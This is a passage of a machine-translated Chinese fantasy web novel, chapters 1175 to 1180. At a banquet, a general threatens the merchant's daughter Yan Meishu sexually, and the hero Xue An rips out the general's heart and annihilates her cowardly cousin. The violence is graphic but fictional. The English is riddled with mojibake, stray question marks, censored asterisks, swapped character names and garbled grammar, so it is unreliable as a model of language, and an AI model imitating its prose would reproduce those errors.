    These remarks were so domineering, An Yan couldn''t help but nodded after hearing it, and then said seriously: "Husband, if you are not defeated then, let me out! I will be your secret weapon, okay?"


    Xue An laughed dumblyGood! Yan''er is my most powerful weapon! "


    At this time this huge caravan has already entered this fringe city.


    Because of its large scale, it attracted the attention of many people in the marginal city.


    "It''s the Yan family! The Yan family caravan is here!"


    "Tsk tusk! It''s really worthy of being the leading big merchant in the God Realm, even the size of the caravan is so breathtaking!"


    Everyone sighed, and the red prison in the city lord''s mansion, who was looking for fun, also noticed the people coming. After a slight start, the spirit of the caravan instantly swept through everyone in the caravan.


    But nothing unusual was found.


    So he grinned and didn''t take it seriously.


    But he didn''t even know that when his divine thought swept over everyone''s heads, Xue An''s eyes flashed slightly, and then his expression became colder.


    "It''s actually the breath of a Chinese god! No, it should be spliced ??the day after tomorrow!"

 Chapter 1175： Receiving the wind and washing the dust, the night lion

    As Yan Meishu said, the Yan family has a huge industry in this fringe city, and it is more than enough to accommodate this entire caravan.


    Naturally, Xue An also lived with the caravan.


    But at this moment, he seemed to be ignored by everyone, consciously or unconsciously.


    As for Yan Meishu, she was busy dealing with the caravan at the moment, and she was flawlessly taking care of Xue An''s side.


    But Xue An didn''t feel much about it. What he cared about was the divine mind that came from the probe when he first entered the city.


    Although he had never actually touched it, Xue An could clearly feel that there was a Chinese aura in this divine mind.


    But this kind of aura is a bit weird, it doesn''t seem to be naturally generated, but artificially pieced together.


    This made Xue An''s heart gradually sink.


    If the guess is true, then the situation of the Chinese gods currently in the hands of Li Hentian Jun is definitely not optimistic.


    This made Xue An''s heart gradually full of killing intent.


    at the same time.


    The contact between Yan Meishu and the fringe city has also been completed.


    This time, the Yan family caravan carried several times more goods than usual, so even the second lady Drunk Dream was very concerned about it, and sent the butler Yu Ren to personally contact.


    When all the work was successfully completed, Yan Meishu couldn''t help but breathe out.


    In any case, this time the business that he independently took charge of was successfully completed.


    The following is customary to relax time for the entire caravan.


    But this time it was a little different from usual.


    Yu Ren smiled and said: "Miss Yan, this is the first time for the Yan family to take this trade route. In order to celebrate for you, my wife prepared a thin wine tonight and invited you to a banquet. It��s a landlord��s friendship, so please be sure to appreciate it when that time comes!"


    This rhetoric was very polite, and it was considered to give enough face to Yan''s family and Yan Meishu.


    Therefore Yan Meishu nodded and said, "Steward Yu is polite, please go back and tell Madam, I will definitely go tonight!"


    Yu Ren smiled and nodded, then turned and left.


    Yan Meishu sighed secretly, she was extremely jealous of this seemingly ordinary Yu Blade.


    Therefore, when she was leaving, Yan Meishu''s father, who was also the patriarch of the Yan family, had personally warned her.


    In this fringe city, you can offend the second lady, but don��t offend the butler.


    But this time my business has finally come to a perfect ending. As soon as the dinner tonight is over, I can return home tomorrow!


    The more Yan Meishu thought about it, the more excited she became, and she couldn''t help but look forward to tonight''s banquet.


    But who would you want to accompany you?


    Yan Meishu fell into deep hesitation.


    But soon, she made up her mind, and when she returned to the resident, she went straight to the courtyard where Xue An lived.


    "Dinner?" Xue An couldn''t help being stunned.


    Yan Meishu nodded, "Yes! This time is a dinner hosted by the second wife, the actual controller of the fringe city, but I don''t have a male companion who can go with me, so I hope my brother can go with me. !"


    Xue An hadn''t spoken yet, but An Yan''s cold snort came from the sea of ??knowledge.


    This made Xue An startled, and then smiled slightly, "It sounds good! But don''t you have a cousin? Why doesn''t he follow you?"


    Yan Meishu shook his head and said unabashedly, "I hate him!"


    "Then you don''t hate me?" Xue An said with a smile.


    Yan Meishu was silent for a moment, then nodded, "I don''t hate it!"


    Xue gave Yan Meishu a quiet look. It was not until a moment later that he smiled and nodded, "Okay! Then I will accompany you on this trip!"


    Yan Meishu''s eyes lit up, and he nodded happily, "Thank you, brother, if that''s the case, then I will come to pick you up at night!"


    After that, Yan Meishu turned and left excitedly.


    As soon as her people left, An Yan said in a sour tone like knocking over a jar of jealousy, "Tsk tusk, this dinner is arranged!"


    Xue An smiled, "Alright Yan''er, I know you are very unhappy, but I didn''t play this dinner in the past!"


    "Why is that? For this Yan girl?"


    Xue An smiled gradually and shook his head lightly, "This Yan Meishu is still too young! Does she really think that this strength is enough to make the gods of Li Hentian value it?"


    "You must know that in the eyes of these gods, strength is the first, and everything else is nonsense!"


    An Yan was taken aback, "husband, you mean..."


    "This banquet will obviously not be that simple. It is very likely that unexpected characters will appear on the stage. I followed along, just to see what these Lihentian gods are like!"


    An Yan only understood Xue An''s intentions after listening, and she couldn''t help but apologize: "Sorry husband, I blamed you!"


    Xue An smiled upon hearing the words, "Do we need to say sorry between us? In fact, I am quite willing to accompany this girl Yan to have a look. Is it idle anyway!"


    An Yan: "..."


    Then he said angrily: "Dare you!"


    Xue An laughed, "Guess I dare?"


    Just when Xue An and An Yan were quarreling with each other.


    That He Chuncai also received an invitation from Yu Jian.


    At the beginning, this He Chuncai still didn''t understand what it meant, but after a closer look, he couldn''t help grinning.


    Because Yu Ren said on the invitation very clearly that the Yan Meishu caravan was in the name of Yan Meishu, but many aspects were attributed to He Chuncai, so he hoped that he could also participate in this dinner.


    This compliment made this He Chuncai triumphant, thinking that the housekeeper was really insightful.


    So start preparing early.


    quickly.


    The night enveloped the earth.


    When Yan Meishu came to the courtyard where Xue An lived and asked him to go with him he couldn''t help but shine.


    Because at this moment, Xue An has replaced the black cloak that he often wears, and with a white robe, he is more and more facing the wind, like a fairy.


    Seeing this scene, Yan Meishu felt like a deer bumping into her heart, and she couldn''t even speak.


    Xue An smiled slightly, "Miss Yan, let''s go!"


    "Ah..." Yan Meishu woke up from the shock, then nodded hurriedly, "Okay!"


    Naturally, Xue An could not be allowed to go on foot this time, and Yan Meishu deliberately brought a Zhaoyeyu lion as a mount for Xue An.


    But like this kind of horse, the disposition of the horse is very arrogant, let alone riding, it is difficult for ordinary people to get close.


    And Xue An is a "no cultivation" person, so Yan Meishu was afraid that Xue An would be injured again, so he wanted to remind him.


    But before she opened her mouth, the Zhaoyeyu lion, who usually didn''t even buy Yan Meishu''s account, came to Xue An''s side respectfully, and then leaned down very docilely.

 Chapter 1176： Blood splash 1

    Xue An smiled, and then directly got on the mount.


    Now, even Yan Meishu couldn''t help being a little dumbfounded.


    She had never seen this Zhaoyeyu lion so docile.


    How is this going?


    Could it be said that Xue An has the special ability to make the beast bow its head?


    As if feeling Yan Meishu''s doubts, Xue An smiled at her slightly, "This mount is good, very obedient!"


    "Ah... yes... very obedient!" Yan Meishu said dumbfounded.


    "Let''s go!" Xue An slapped the mount, and the Zhao Yeyu lion moved forward steadily.


    Yan Meishu took a deep look at Xue An''s back, and then urged his mount to follow.


    Yan''s residence is not far from the city lord''s mansion.


    If you ride a horse, you can reach it with a cup of tea.


    But when they came to the gate of the City Lord''s Mansion, an unexpected thing happened.


    He saw that He Chuncai was wearing a white robe, sitting on a straddle with a spirit beast, waiting at the door for Yan Meishu''s arrival.


    When he saw Yan Meishu''s figure, he rushed over excitedly, and just thought of saying hello, he saw Xue An on the side at a glance.


    This made He Chuncai''s complexion instantly extremely ugly.


    "Cousin, how did he follow this second lady''s dinner?"


    Yan Meishu''s complexion was also very ugly, and she didn''t expect He Chuncai to come, so she said angrily: "Can you control it? It''s you, why did you follow?"


    He Chun just smiled complacently, "I didn''t come here, I was invited by the butler to also come to the dinner party!"


    With that said, He Chuncai proudly showed the invitation card in his hand.


    Yan Meishu''s complexion instantly became ugly.


    She is not a fool, and Yu Ren must have done so by the second wife.


    And they have only one purpose in doing this, and that is checks and balances.


    After all, for the fringe cities, a strong and united Yan family is not in their interests.


    But at this point, she couldn''t say anything, she could only snorted coldly and dialed the horse to the city lord''s mansion.


    She took the lead, and Xue An followed along.


    But at this moment, He Chuncai stopped his way, then looked at Xue An gloomily, and sneered: "Boy, do you think it''s OK to get my cousin''s favor? I tell you, it''s useless. Meishu can only belong to a strong man like me, and someone like you is pure wishful thinking!"


    Xue An stopped Zhao Yeyu Lion under his crotch, and then said with a faint smile, "A strong man like you?"


    He Chuncai nodded proudly, "That''s right! So I advise you, if you are acquainted, you''d better leave here as soon as possible, and run as far as you can! If you are obsessed with understanding, when you are splashed with blood, Don''t say I didn''t remind you!"


    Xue An looked up and down this He Chuncai with a weird look, and then said with a dumb smile: "It sounds like a great deal, but I think it''s better to leave it to you!"


    "You..." He Chun didn''t expect that Xue An would dare to refute his words, and his expression changed drastically.


    At this time, Xue An waved his hand indifferently, interrupted He Chuncai''s words, and then said lightly: "My patience is very limited, so I just remind you once, from now on, you''d better roll as far as you can. , Otherwise, don��t blame me if you are scared to cry then!"


    He Chuncai was speechless by Xue An''s remarks.


    At this time, Xue An urged his hip mount, Shi Shiran walked into the city lord''s mansion.


    When his back was gone, this He Chun just regained consciousness, and then said angrily: "If you don''t have any cultivation level, you dare to be so arrogant. I want to see how you scared me to cry!"


    Having said that, he also angrily followed into the city lord''s mansion.


    The scale of the banquet this time was not large, it was a banquet that Zui Meng had specially prepared for Yan Meishu.


    But despite this, the banquet hall is still brightly lit.


    The representatives of the major forces in the fringe city were all present.


    So when Xue An, Yan Meishu and others walked into the banquet hall, it was already brightly lit, singing and dancing.


    The drunk dream lady hasn''t arrived yet, and only the housekeeper Yu Ren is here to preside over the situation.


    When they saw Yan Meishu in full costume, everyone couldn''t help but brighten up.


    Knowing that this should be Yan Meishu, the rising star of the Yan family caravan.


    The Yan family''s strength may not be the strongest, but it must be the richest, so the eyes of the entire banquet hall gathered.


    At this moment, Yu Ren stepped forward and said with a smile: "Ms. Yan is really beautiful and beautiful, please come to your seat!"


    As he said, he greeted Yan Meishu and walked up.


    Yan Meishu was taken aback, then subconsciously turned to look at Xue An on the side.


    Xue An just smiled at this, and then made a gesture to please.


    Yan Meishu nodded at the edge, "If that''s the case, then it''s annoying!"


    There was nothing surprising in the whole process, only some sharp-eyed people saw the scene when Yan Meishu just looked at Xue An, and they couldn''t help feeling a little surprised.


    Who is this boy in white?


    Why make the Yan girls so important?


    Yu Ren also looked at Xue An in surprise, but when he found that Xue An didn''t have any fluctuations in his cultivation, he immediately lost interest and led Yan Meishu onto the high platform of the banquet hall.


    The whole time, Xue An is like the air.


    Such a scene made He Chuncai who came in afterwards secretly refreshed, couldn''t help but smile coldly at Xue An, and then walked onto the high platform of the banquet hall with a proud look.


    Xue An just smiled at this, and then walked to the refreshment area of ??the banquet hall, chose a few things he liked, and began to feast on.


    This made many people who were curious about Xue An couldn''t help shaking their heads secretly.


    This kind of banquet is used for communication, and no one has ever come here to eat.


    Although this young man looks good, he seems to be a bumpkin who has never seen the world before.


    At this time, the girls who were eager to try also became uninterested.


    But Xue An was unaware of all this and still ate for himself.


    With this attitude, Yan Meishu, who looked at him from time to time, couldn''t help being a little disappointed.


    Could it be that it was all my own illusion before that this Xue An is useless at all except that he looks good?


    Her heart was calculating Suddenly, there was a low noise from the door of the banquet hall, and then everyone bowed their heads.


    "I have seen the second lady!"


    With the voice, I saw a beautiful makeup girl coming.


    The grace and majesty is like a blooming rose, which makes people afraid to look directly.


    But behind her, there was also a man with vertical eyes and an evil face also followed in.


    If the second lady is like a rose, then this man is like a poisonous snake, spitting out a snake letter and preparing to choose someone to eat, which makes people shudder!


    The audience couldn''t help but feel a little horrified.


    After seeing this man, Xue An slowly put down the dinner plate in his hand, and his eyes gradually became cold.


    Is there a vertical eye?


    Haha, it seems that my guess is right!


    If this is the case, then go to death!

 Chapter 1177： Everyone

    Although Xue An''s murderous intent gradually rose in his heart, it didn''t show any signs on the surface, and even his spiritual thoughts didn''t fluctuate at all. He just looked at the red prison **** general quietly, even eating something in his mouth.


    In this case, the Red Prison God would naturally not be aware of it.


    In fact, his attention at the moment has been completely attracted by Yan Meishu in full costume.


    Different from the dusty women in the city lord��s mansion, Yan Meishu is a lady of everyone, and the elegant temperament on her body makes Chi Prison coveted, and a pair of greedy eyes stares at Yan Meishu. He refused to give up even for a moment.


    This naked, undisguised greedy gaze made Yan Meishu''s hair stand upright, extremely uncomfortable.


    However, Mrs. Drunk Dreams personally arrived, and she could only bite the bullet and greet her.


    "I have seen the second lady!" Yan Meishu politely saluted the drunk dreamer.


    Not to mention anything else, this kind of demeanor alone is enough to kill most vulgar fans in seconds.


    Even Drunk Meng''s eyes flashed a hint of appreciation, and then nodded, "Girl Yan is polite! Your Yan family has been doing business in a city on the edge of me for many years, and my relationship with your father is also very harmonious. It��s a family friend, so you don��t have to be like this!"


    Even though he knew that these words were polite, Yan Meishu was secretly relieved.


    She had followed her father to meet this Madame Drunken Dreams several times, but Yan Meishu was just a daughter of a wealthy family who followed her out to meet the world, and she was not qualified to speak to an existence like Madame Drunken Dreams.


    This time I was in charge of the caravan for the first time, and Yan Meishu was naturally very grateful for this Madam Drunken Meng to give face.


    At this moment, He Chuncai also leaned forward with a shy face.


    "He Chuncai, nephew of Yan''s family, met the second lady!"


    This introduction seemed very ingenious, at least it made Zuimeng a little startled, and then nodded in a dumbfounded smile, "It turns out that it is Mr. He, who has been admiring his name for a long time, really disrespectful!"


    The words are polite, but there is always a hint of sarcasm in and out of the words.


    It''s a pity that this He Chuncai didn''t notice anything unusual after hearing Drunk Meng''s praise.


    In his opinion, this drunken dream is a great figure who can be counted throughout Li Hentian, and even the second wife of Lord Tianjun.


    He Chuncai is almost floating if he can get the praise of such people.


    "Hehe, the second lady is really polite, miss me..." He Chuncai was about to continue boasting.


    At this moment, I saw Chi Prison walking from behind Drunk Meng in stride, ignoring He Chuncai, who nodded and bowed, squeezed him aside, and then smiled at Yan Meishu.


    "This must be the daughter of the Yan family! Tsk tsk, it''s really pretty tight!"


    While talking, Chi Prison''s eyes turned back and forth, unscrupulously looking at Yan Meishu''s figure.


    Yan Meishu''s face turned pale, and she was really angry in her heart, but although she had never seen this red prison, judging from his aura and his appearance with Drunk Dream, she was obviously a big man.


    Therefore, after weighing the pros and cons, she forced herself to suppress the unhappiness in her heart and nodded at the red prison.


    "Thank you for your praise!"


    With that, she had to withdraw.


    But Chi Prison didn''t give her this opportunity at all. Instead, she deceived her and went directly to Yan Meishu not far from her. Then he smiled and said, "Thanks? How are you going to thank me?"


    The rude behavior of the Red Prison made Yan Meishu furious, because the Red Prison was so close now.


    So close that I can even feel the airflow when he speaks.


    How could Yan Meishu, who had received strict etiquette education since childhood, accept it?


    As a result, Yan Meishu took a big step back, her face getting colder, and said coldly: "My lord, what do you mean?"


    As she said, she turned her gaze to Madame Drunken Dreams aside, hoping that the gentle and majestic second lady could speak to stop the man''s rude behavior.


    But at the moment, Drunken Dream was turning around and chatting with a few people on the side happily, as if he hadn''t noticed what happened here.


    Yan Meishu was taken aback for a moment.


    At this time, Chi Prison grinned and said: "What do you mean by asking me? Haha, I don''t like going around in circles. Let me put it straight. I think you look good. The key is to be a young man. Why not just follow me, uncle I will love you well!"


    "You...you are shameless!" If Yan Meishu could barely suppress the anger in her heart before, she finally broke out after hearing such rude words from Chi Prison.


    At the same time, not only Yan Meishu, but He Chuncai, who was forcibly squeezed aside by the Red Prison and whose heart was full of dissatisfaction, couldn''t help being angry at this moment.


    He hadn''t seen this red prison, and he didn''t know his identity, but seeing how this red prison just came in with Drunken Dream, maybe it was a guard or something.


    And a guard in a small area dared to be so rampant, which naturally made He Chuncai full of irritation, and he also wanted to take this opportunity to show off in front of Yan Meishu, so he sneered and walked forward.


    "Boy, don''t you know the price before you **** speak? You dare to talk to my cousin, I..."


    Before he finished his words, Chi Prison slapped it impatiently.


    There was a crisp sound.


    This red prison was directly fanned out more than ten feet away. After landing, he struggled for several times and couldn''t get up.


    This slap fan was so powerful that it made He Chuncai at least be stunned for several seconds to recover, and then roared: "You dare to hit me? Do you know who I am?"


    Chi Prison smiled arrogantly, "I care who you are, do you know who I am?"


    He Chun, who was originally full of anger and wanted to attack, was stunned when he heard the words, and then asked a bit visibly, "Who are you?"


    "My name is Chi Prison! This little lady, I fell in love with, why? Do you have an opinion?"


    Red prison!


    Hearing this name Whether it is He Chuncai or Yan Meishu, they all feel silly.


    They are all too familiar with this name.


    In fact, throughout Li Hentian, few people didn''t know the name of the God General of the Red Prison.


    Li Hentianjun''s first **** general, known as the first in cultivation, the first in killing, and the first in bloodthirsty.


    Such a character, let alone Yan Meishu, even if it is her father, the head of the Yan family must bow down honestly.


    It can be said that the status of this red prison may not be as noble as Zui Meng, but the strength and prestige are far better than her.


    But the more so, the more Yan Meishu''s heart sank.


    Is it him? Why does he appear in the fringe city? And why did you appear here with Madame Drunken Dreams?


    Yan Meishu was thinking.


    And He Chuncai also gradually recovered from the sluggishness at this moment.

 Chapter 1178： Every husband is not guilty

    But at this time, He Chuncai no longer had the arrogance he had just now, his face turned pale as paper, and his whole body was trembling slightly, and he didn''t even dare to look directly at the red prison, so he could only lower his head and pretend to be silent.


    Such an attitude actually means confession.


    There are many situations like this in Red Prison. If it were normal times, this He Chun would definitely not survive.


    But now that Chi Prison is driven by sex, he doesn''t bother to care about He Chuncai.


    I saw him smile at Yan Meishu who was also pale, "Miss Yan, what do you think of my proposal just now? If there is no objection, let''s go to the back and have a good time now, and then come back to the banquet?"


    This is no longer molesting, it is simply insulting Yan Meishu''s personality with words.


    But in the face of this situation, no one in the audience dared to speak.


    Even many people watched with a gloating attitude.


    Yan Meishu''s silver teeth bit her lip, because she was afraid that she would be angry if she couldn''t hold it back.


    She didn''t want to intensify the situation. After all, the identity of this red prison was too high, so she could only pin all her hopes on Madame Drunken Dreams, hoping that the second lady could say a few words for herself.


    But in the face of Yan Meishu''s hot eyes, Mrs. Drunk Meng did not move at all. Instead, she smiled, and then said lightly: "Miss Yan, since Lord God General said that, she must really like you! It��s a good thing, you might as well just do it! How?"


    boom!


    Mrs. Drunken Dream''s words sounded like a bolt from the blue in Yan Meishu''s ears.


    In an instant, she understood a lot.


    Why does this second lady invite herself to the banquet.


    And why would she appear in person!


    At that time, I thought it was because of his own face, but at this time, Yan Meishu finally understood.


    I am just a bargaining chip for trading!


    This Madame Drunken Dream probably did this deliberately, and the purpose is probably to warn Yan''s family in this way, and even....


    Start with the Yan family!


    As for why I did it...


    Yan Meishu suddenly remembered what his father had said, that everyone was innocent and guilty!


    The wealth accumulated by the Yan family now is too amazing, and this... is the sin of the Yan family!


    For an instant.


    Yan Meishu wanted to understand everything.


    But this didn''t help the situation at all, and even made Yan Meishu even more desperate.


    Because she knows very well that if a strong man like Zui Meng doesn''t make a move, she must have sufficient assurance when she makes a move.


    If you think this way, is it true that you are going to die here today?


    Yan Meishu grief came from it, and subconsciously looked at He Chuncai who was aside.


    Because in any case, this He Chuncai is the guard leader of the caravan. And before leaving, Yan Meishu''s father, He Chuncai''s uncle, explained clearly.


    This time, He Chuncai must protect Yan Meishu.


    But when Yan Meishu cast his gaze on He Chuncai, he discovered that this cousin who usually pats his chest and brags about how brave and brave he is, is now deeply bowing his head.


    It seems that for fear of attracting people''s attention, this He Chuncai even bends down his waist, the whole appearance looks like a cooked prawn, funny and ridiculous.


    Such an ugly state ruthlessly shattered the last glimmer of hope in Yan Meishu''s heart.


    She took a deep breath and stared at Madam Drunk Meng, and said coldly: "Second Madam, if you act like this, aren''t you afraid of chilling the hearts of many businesses?"


    "Cold Heart?" Mrs. Drunk Meng sneered. "Are you businessmen interested? As long as there is interest, there will be countless vendors flocking to you! And your Yan family...hehe! I can raise you to now, too It''s worthy of you! If the pig is fat, it should be killed. Isn''t this normal?"


    "You..." Yan Meishu was speechless, because she couldn''t think of how to refute Zuimeng''s words.


    At this time, Chi Prison rubbed his hands in excitement, "Second Madam, is this little lady handed over to me now?"


    Drunk Meng nodded, "Yes, do whatever you want, as long as you don''t kill it! After all, she will still be useful at that time!"


    "Don''t worry! I''ve always been very patient with this kind of little girl! I''ll concoct it slowly!" said the Scarlet Prison with a smile.


    At this time, Yan Meishu knew that the matter was irretrievable, and his heart was stunned. He immediately urged his whole body''s cultivation base, turning around and wanted to escape here.


    But seeing Guanghua said, that is the scene of the various rune formations worn by Yan Meishu bursting together.


    Not to mention anything else, but with this kind of momentum, it is enough to shock the average powerhouse.


    But this is like a baby playing in the red prison.


    I saw him casually waved.


    Yan Meishu, who was going to hide in the same place, felt that the space instantly became as solid as a rock, cutting off all his retreat.


    boom!


    The brilliance dissipated, and Yan Meishu appeared in embarrassment.


    The Chi Prison laughed wildly: "My little lady, you run! The more you run, the more excited I am!"


    Yan Meishu let out a cry of despair in her heart.


    But when she was born and died.


    Just heard a sigh coming from behind.


    "Can''t you wait until I''m full?"


    Hearing this familiar voice, Yan Meishu was as if struck by lightning.


    Because she knew who the speaker was.


    at the same time.


    Everyone swept their heads and looked around.


    But seeing Xue An standing in front of the dining table, while eating, said without raising his head.


    "Don''t worry, wait until I finish eating this cake!"


    The audience was silent.


    Everyone looked at Xue An, who was eating happily, with different expressions.


    Especially Yan Meishu, she never dreamed that Xue An would suddenly speak at this time.


    This made her heart can''t help but feel warm.


    In any case, it is already great courage for him to speak at this moment.


    But immediately, her heart fell to the bottom again.


    Because she knew very well that Xue An had no cultivation base.


    And an ordinary person with no cultivation base is facing a powerful **** with a high-level deity ~ www.novelhall.com~ This disparity in strength makes all courage meaningless.


    Not only Yan Meishu thought so, but everyone in the audience thought so at this moment.


    Therefore, after a period of silence, the audience was in an uproar.


    "What? I dare to provoke the God General of Red Prison, is there a problem with this young man''s brain?"


    "If there is no problem with the brain, it is a mental illness!"


    Amidst these noisy discussions, after Chi Prison took a few glances at Xue An, a sneer smile appeared at the corner of his mouth.


    "It''s really interesting. Even if you don''t have a silk cultivation base, you dare to challenge me. Should I praise your courage? Or should I say that you are looking for death?"


    "Whatever you want, I can do it!"


    As Xue An was talking, he ate the last bite of the cake, then put the plate on the table and wiped his mouth. Then he raised his head and smiled at Chi Prison.


    "Anyway, no matter what you say, you are dead!"

 Chapter 1179： Seize your heart with one hand

    oom!


    The audience was silent at first, then in an uproar.


    "Hey! Is this guy crazy?" Someone gasped.


    "Even if he isn''t crazy, it''s almost the same. If he dares to speak like this, doesn''t he know the temper of Lord God General?" someone sneered.


    In these discussions, many people secretly shook their heads, thinking that Xue An would definitely die.


    As for Yan Meishu, she was even more shocked on the spot, and she did not expect Xue An to be so domineering.


    But immediately, she felt a sore nose and tears gradually filled her eyes. Then she opened her mouth, trying to say something, only to find that her whole body was firmly controlled by the red prison, and she couldn''t make any sound. .


    at the same time.


    He Chuncai, who had been lowering his head and pretending not to hear, couldn''t help raising his head suddenly, looking at Xue An with a look of consternation.


    But soon, there was a gleam of light mixed with gratification and gloat in his eyes.


    This idiot actually dared to confront Master Red Prison in this way, and you''ll know how powerful it is after a while.


    In He Chuncai''s view, the Red Prison God General was an existence that he did not dare to provoke.


    This Xue An, who had no cultivation base, dared to be so arrogant. Apart from seeking death, there was no more reasonable explanation for this.


    really.


    But seeing Chi Prison froze for a while, a hideous sneer appeared on his face.


    "Boy, no one has ever dared to talk to me like this. You are the first one. In order to reward you, I will torture you slowly for a hundred years, and then let you die in endless pain..."


    The voice did not fall.


    Chi Prison suddenly felt a cold in his chest and couldn''t help but look down.


    Then he was shocked on the spot.


    Because at this moment, a palm that looked like a carved sapphire appeared on his chest.


    The fingers of this palm are slender and slender, and the joints are distinct, which looks so pleasing to the eye.


    Of course, if this hand is not holding the red heart, it might be more beautiful.


    Chi Prison stared at the palm that passed through his chest blankly, and his whole person fell into a sluggish state because of excessive shock.


    It''s not just him.


    The entire banquet hall was deadly silent, everyone''s mouths were wide open, and their faces were full of incredible expressions.


    Because at this moment, standing behind the red prison, inserting the whole hand from his back, punching the front of the chest, is the same Xue An who was just thought to be ranting by everyone and was going to die immediately.


    This scene is almost magical and ironic.


    Just now everyone thought it was bound to die, but the counter-kill was completed in the next second.


    Naturally, everyone can''t believe their eyes.


    At the same time, Xue An pulled his hand out of the chest of the Red Prison directly, the blood splashed, and the Red Prison roared, he couldn''t help taking a few steps forward, but despite his staggering figure, he did not fall down in the end. .


    Then he covered the huge wound on his chest, slowly turned around, and stared at Xue An with mixed shock and resentment eyes.


    If the eyes can kill people, Chi Prison may have killed Xue An several times.


    But in the face of this terrifying light of choosing people, Xue An didn''t even lift his eyelids, just smiled faintly, and then weighed the still beating heart in his hand.


    "Is this your heart? It looks red, but unfortunately it''s bad inside!"


    Xue An''s voice was indifferent, as if he was not commenting on an organ from a powerful god, but a animal heart bought from the vegetable market for five yuan.


    This feeling made the anger in Chi Prison''s heart more and more boiling, and said gloomily: "Boy, who are you? Now give this heart back to me, there is still room for change, otherwise, I will let you survive. Don''t ask for death, no!"


    The killing intent in the words is simply obvious.


    But Xue An just smiled coldly at this, "Only you are not qualified to know who I am! And at this time, you still want to threaten me. How stupid are you?"


    "You..." Chi Pri is mad at him, but at this moment he is a bit of a rat avoidance.


    After all, his heart is still in the hands of this young man.


    Although it is said that he is the body of a god, let alone the heart, even the head can grow out again.


    But after all, there is a loss of strength, and the newly grown organs must be conserved for at least a few months to reach the same level as before.


    Especially this is an important existence second only to the head in the divine body.


    Therefore, Chi Prison only wanted to suppress the situation first, and finally get the heart back, and then settle accounts with this young man.


    So he suppressed the anger in his heart, and said coldly: "Boy, you can say a condition! How can I return my heart?"


    Xue An��s smile was even stronger, ��It��s up to you to see what conditions you can give! It��s better to talk about it first, let me see if I��m satisfied!��


    The crowd was another low commotion.


    Everyone awoke from the shock just now, and was immediately confused by Xue An''s words.


    "I actually bargained with Master Chi Prison! What kind of support does this young man have?"


    "Yes, the strength he showed just now is obviously not an ordinary person, but the point is that no matter who is strong, this is the place of Li Hentian now! Lord Red Prison is the number one general under Lord Tianjun, and so on. The monstrous power, this young man dare to ignore it?"


    "Hehe, this young man should be a strong physique cultivator, but no matter how strong the physique is strong, the key is that he doesn''t have any cultivation skills! There is a good show!"


    Amidst these discussions, Chi Prison''s expression grew colder, but he still said solemnly: "You are indeed very strong, and you are qualified to negotiate terms with me. Why not, after you return your heart to me, I will let you and this The woman leaves here! And promised to never care about it, what do you think?"


    Hearing these conditions, Yan Meishu''s eyes lit up.


    Because this sounds like the best solution to this situation right now!


    Therefore, she looked at Xue An with hopeful eyes.


    But at this time, the corners of Xue An''s mouth rose slightly, revealing a smile like a knife.


    "This is the condition you gave?"


    Chi Prison nodded proudly, "Yes, how do you feel about it?"


    Red Prison is full of confidence thinks Xue An will definitely agree to this condition.


    All the people present hold the same idea.


    Because everyone felt that such conditions were already the biggest concession made by the Scarlet Prison God General.


    As long as this Xue An is not crazy, he will definitely agree.


    Even He Chuncai couldn''t help but let out a deep breath.


    In any case, this matter can best be revealed.


    Otherwise, you might not even be able to save your own life.


    But at this moment, Xue An shook his head, and then said in a slightly mocking voice: "Excuse me! I don''t think this condition is so good!"


    The Red Prison, who originally thought he was holding a chance to win, became disgusted and said angrily: "What do you mean?"


    "What do you mean?" Xue An smiled faintly, "It means me, no, the same, meaning! Now, do you understand?"

 Chapter 1180： Chuncai Violence

    The audience was silent.


    People were stunned by Xue An''s statement.


    Refused...refused?


    day! I''m afraid this boy is going crazy!


    Yan Meishu was also frightened. In a hurry, she broke free from the control of the red prison and shouted anxiously.


    "Little Brother Xue!"


    Xue An turned his head and smiled at her when he heard the words.


    It was this smile that caused Yan Meishu to swallow everything behind.


    Because Yan Meishu felt that although Xue An didn''t say anything, this smile represented too much.


    Yan Meishu felt that after seeing this smile, his trembling heart calmed down.


    Even Yan Meishu had an unspeakable confidence in his heart, as if there is no such thing as Xiaoge Xue in the world.


    But when she had no opinion, He Chun couldn''t help it anymore, and the first one jumped out, roaring with a ferocious face.


    "The surname is Xue, now that the Lord God will be open to you, you still don''t appreciate it? Are you trying to kill us? I tell you, you can die by yourself, but you are burdened by me and my cousin! "


    He Chuncai''s remarks simply punish people and punish people, and the truth has been crooked to the sky.


    Yan Meishu''s face changed drastically, and she was about to rant.


    Xue An waved her hand, motioned her to shut up, and then looked up and down at this He Chun.


    "What did you just say? I didn''t hear clearly, I hope you can repeat it again!"


    He Chuncai was horrified by the chill in Xue An''s words, and his hair stood up, and he swallowed subconsciously.


    But immediately, he noticed the approving look on the face of the Scarlet Prison God in the distance.


    Even when He Chuncai looked over, the Scarlet Prison God General nodded slightly at He Chuncai.


    This made He Chuncai''s confidence greatly increased, and even the confidence to speak has grown a lot, and said with a sneer.


    "The surname is Xue, I can just repeat it a hundred times! Don''t think that you can hurt the Lord God. His old man was just a distraction, and you took advantage of it! So if you know the current affairs, , It��s best to return God��s heart to the adult now, and then honestly admit the mistake!"


    "Isn''t everyone happy if everyone exposes it?"


    He Chuncai consciously felt that his words were sincere and well-founded, and he couldn''t help but feel proud.


    But his pride didn''t last even for a breath.


    Because at this moment, Xue An said in an indifferent tone: "I remember before entering the field, I once said a word to you!"


    "What are you talking about?" He Chun was taken aback.


    "I said you''d better roll as far as possible, otherwise if you are scared to cry by me, don''t blame me for not reminding you!"


    He Chuncai was stunned, "Yes, you did say this, but so what? What? Do you still want to scare me now?"


    When he said this, He Chuncai''s face was full of ridicule.


    Xue An shook his head, "No! I just want to tell you, I take this sentence back now! Because of you...!"


    "Because of me?" He Chun asked indifferently.


    "Thinking you should die!"


    When the word "death" was uttered from Xue An''s mouth, it was as if the supreme emperor had issued a decree, and he saw Dao Dao Guanghua directly descending on He Chuncai.


    Before He Chuncai even had time to scream, his head cracked silently.


    That''s right!


    Just like the bursting of a watermelon in slow motion, this He Chuncai''s head turned into a cloud of blood.


    But this was only the beginning, and then He Chuncai''s body began to break apart.


    In an instant.


    He Chuncai, who was standing there just now, turned into a cloud of blood.


    But this is still not over.


    These blood mists are still continuously breaking down.


    After a while, I heard a scream that was rapid and full of infinite horror from the void.


    Then these blood mists completely disappeared, and even the traces of He Chun only existed.


    Everyone who saw this scene full of cruel beauty was heartbroken.


    Everyone knew what was going on with that scream just now.


    That was obviously the unwilling roar of He Chuncai''s spirit before it collapsed.


    This also shows that this He Chuncai is now devastated and can''t die anymore!


    In fact, to deal with people like He Chuncai, many people present can do it!


